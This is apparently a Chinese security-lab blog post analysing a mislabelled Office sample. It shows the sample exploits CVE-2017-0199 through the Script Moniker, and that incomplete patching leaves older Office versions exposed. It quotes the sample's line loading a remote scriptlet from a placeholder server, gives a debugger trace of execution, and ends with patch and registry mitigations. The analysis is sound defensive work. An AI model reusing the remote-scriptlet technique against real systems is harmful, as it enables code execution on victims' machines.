乌龙的CVE-2017-8570样本及背后的狗血
作者:admin | 时间:2017-8-14 09:15:54 | 分类:黑客技术 隐藏侧边栏展开侧边栏
所谓的CVE-2017-8570样本
上周360天眼实验室发现了有国外黑客在Github上发布了CVE-2017-8570漏洞的利用代码,但随即删除,以此之后发现了不少标注为CVE-2017-8570的Office恶意样本,比如下面这个VirusTotal上被标记为CVE-2017-8570的样本。
经过360天眼实验室的分析,我们发现相关的利用代码使用的还是老的CVE-2017-0199,而非新的CVE-2017-8570。我们分析如下,供同行参考。
首先解析样本中的ppt\slides\_rels\slide1.xml.rels文件, rId3是一个OLE对象,指向一个外部链接,注意这个字符串 ”script:http//[server]/test.sct” ,其中重要的是”script:”,这里标识了接下来要使用的Moniker(通过MkParseDisplayName()),也就是Script Moniker。
而Script Moniker正是微软4月份的补丁中禁用掉的两个Moniker之一:
2017年4月,修复CVE-2017-0199时禁用了htafile对象和script对象:
禁用的CLSID | ProgID | CVE |
---|---|---|
{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} | htafile | CVE-2017-0199 |
{06290BD3-48AA-11D2-8432-006008C3FBFC} | script | CVE-2017-0199 |
以下栈结构反映了在未打上CVE-2017-0199补丁的环境下样本的执行流程:
0:000> k
ChildEBP RetAddr
003c2ea4 6c49d2f5 kernel32!CreateProcessW
003c2f2c 6c49d5f7 wshom!CWshShell::CreateShortcut+0x161
003c2f8c 75753e75 wshom!CWshShell::Exec+0x19a
003c2fac 75753cef OLEAUT32!DispCallFunc+0x165
003c303c 6c4a0267 OLEAUT32!CTypeInfo2::Invoke+0x23f
003c306c 6c4967d5 wshom!CDispatch::Invoke+0x5c
003c3098 7005dc18 wshom!CWshEnvRegistry::Invoke+0x29
003c30d8 7005db6c jscript!IDispatchInvoke2+0xf0
003c3114 7005dadf jscript!IDispatchInvoke+0x6a
003c31d4 7005dc6a jscript!InvokeDispatch+0xa9
003c3200 7005d9a8 jscript!VAR::InvokeByName+0x93
003c324c 7005da4f jscript!VAR::InvokeDispName+0x7d
003c3278 7005e4c7 jscript!VAR::InvokeByDispID+0xce
003c3414 70055d7d jscript!CScriptRuntime::Run+0x2b80
003c34fc 70055cdb jscript!ScrFncObj::CallWithFrameOnStack+0xce
003c3544 70055ef1 jscript!ScrFncObj::Call+0x8d
003c35c0 7005620a jscript!CSession::Execute+0x15f
003c360c 70050399 jscript!COleScript::ExecutePendingScripts+0x1bd
003c362c 7301831f jscript!COleScript::SetScriptState+0x98
003c363c 73018464 scrobj!ScriptEngine::Activate+0x1a
003c3654 730199d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e
003c36a4 7301986e scrobj!ComScriptlet::Inner::Init+0x156
003c36b4 7301980b scrobj!ComScriptlet::New+0x3f
003c36d4 730197d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
003c36f4 730237e2 scrobj!ComScriptletConstructor::Create+0x4c
003c3714 73024545 scrobj!ComScriptletFactory::CreateScriptlet+0x1b
003c3734 76fcc6fd scrobj!ComScriptletMoniker::BindToObject+0x4d
003c3760 7708440c ole32!BindMoniker+0x64
003c37e8 770c5c07 ole32!wCreateLinkEx+0x9f
003c3848 770c6137 ole32!OleCreateLinkEx+0xaa
003c3884 713a2f10 ole32!OleCreateLink+0x42
WARNING: Stack unwind information not available. Following frames may be wrong.
003c59c4 7124e908 ppcore!DllGetLCID+0x2b3090
003c6a60 710928e4 ppcore!DllGetLCID+0x15ea88
003c6a90 714adb02 ppcore!PPMain+0x2cf6c
该样本其实就是CVE-2017-0199的另外一种利用方式(插入htafile或者script),而不是CVE-2017-8570 。
CVE-2017-0199的补丁陷井
对于上面这个所谓的CVE-2017-8570样本(事实上就是CVE-2017-0199)在我们以为打了CVE-2017-0199补丁的机器运行,漏洞竟然可以被触发。经过更深入的分析,我们发现问题出在补丁没打全上。
微软4月份发布的CVE-2017-0199补丁被分成了两个部分,一个是针对Office的补丁(修改MSO.dll),一个是对Windows的补丁(主要修改了ole32.dll),这两个补丁必须都安装才可以保证不受CVE-2017-0199的影响。
红框部分为Office补丁,蓝框部分为Windows系统补丁。
Windows系统补丁大多会被正常安装,但Office的补丁是否能正常安装取决于当前的版本,微软在安全通报中所列的可打补丁的Office版本如下:
Microsoft Office 2007 Service Pack 3 |
---|
Microsoft Office 2010 Service Pack 2 (32-bit editions) |
Microsoft Office 2010 Service Pack 2 (64-bit editions) |
Microsoft Office 2013 RT Service Pack 1 |
Microsoft Office 2013 Service Pack 1 (32-bit editions) |
Microsoft Office 2013 Service Pack 1 (64-bit editions) |
Microsoft Office 2016 (32-bit edition) |
Microsoft Office 2016 (64-bit edition) |
需要注意的是,微软给出的补丁是严格匹配到Office的大版本的某个ServicePack的,如上微软提供Microsoft Office 2013 Service Pack 1的补丁,而对于一些更早版本的Office(例如Microsoft Office 2013),将不能安装CVE-2017-0199的mso补丁,需要先升级到最新的SP1版本才行。也有就是说,所有不在上面所列的Office版本均无法利用正常打上补丁,还是会受0199漏洞影响,下面就是例子。
经过我们的验证发现,没有在上表列出的版本的Office,不能触发htafile版本的漏洞利用代码, 而script的漏洞利用代码是可以正常触发的,下面是我们在Win7 x86、Office 2013 Pro Plus的环境下,使用Script Moniker的漏洞利用代码成功触发的截图:
上例Office 2013 Pro Plus没有在微软给出的受影响版本中(补丁给的是Microsoft Office 2013 Service Pack 1),所以不能成功安装mso补丁,只安装了ole部分的补丁,两个补丁缺少一个漏洞可以成功利用。
我们还测试了类似环境下的Office 2007、Offices 2010等未在受影响版本范围内的Office,均可以成功利用,考虑到国内Office盗版横行补丁不全的现状,0199漏洞的影响面非常大而且将长期存在。目前看来这一套使用Script Moniker的漏洞利用比hta的exp适用范围更广,更具威胁性,可以确定将来一段时间内使用这一套漏洞利用的CVE-2017-0199恶意样本将会大量增加。
修复建议
针对在受影响版本的office办公软件安装2017年4月的安全补丁,确保两个补丁都成功安装。对于不在受影响版本范围内的Office,首先应当将Office升级到最新的SP版本,然后将CVE-2017-0199的补丁打上。如果不能升级到指定的Office版本,可以酌情考虑禁用以下注册表项:
注册表项:
注册表项: | |
---|---|
X86 | HKEY_CLASSES_ROOT\CLSID\{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} |
X86 | HKEY_CLASSES_ROOT\ CLSID\{06290BD3-48AA-11D2-8432-006008C3FBFC} |
X64 | HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} |
X64 | HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{06290BD3-48AA-11D2-8432-006008C3FBFC} |
参考链接
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
http://justhaifei1.blogspot.kr/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
http://bobao.360.cn/learning/detail/3945.html
*本文作者:360天眼实验室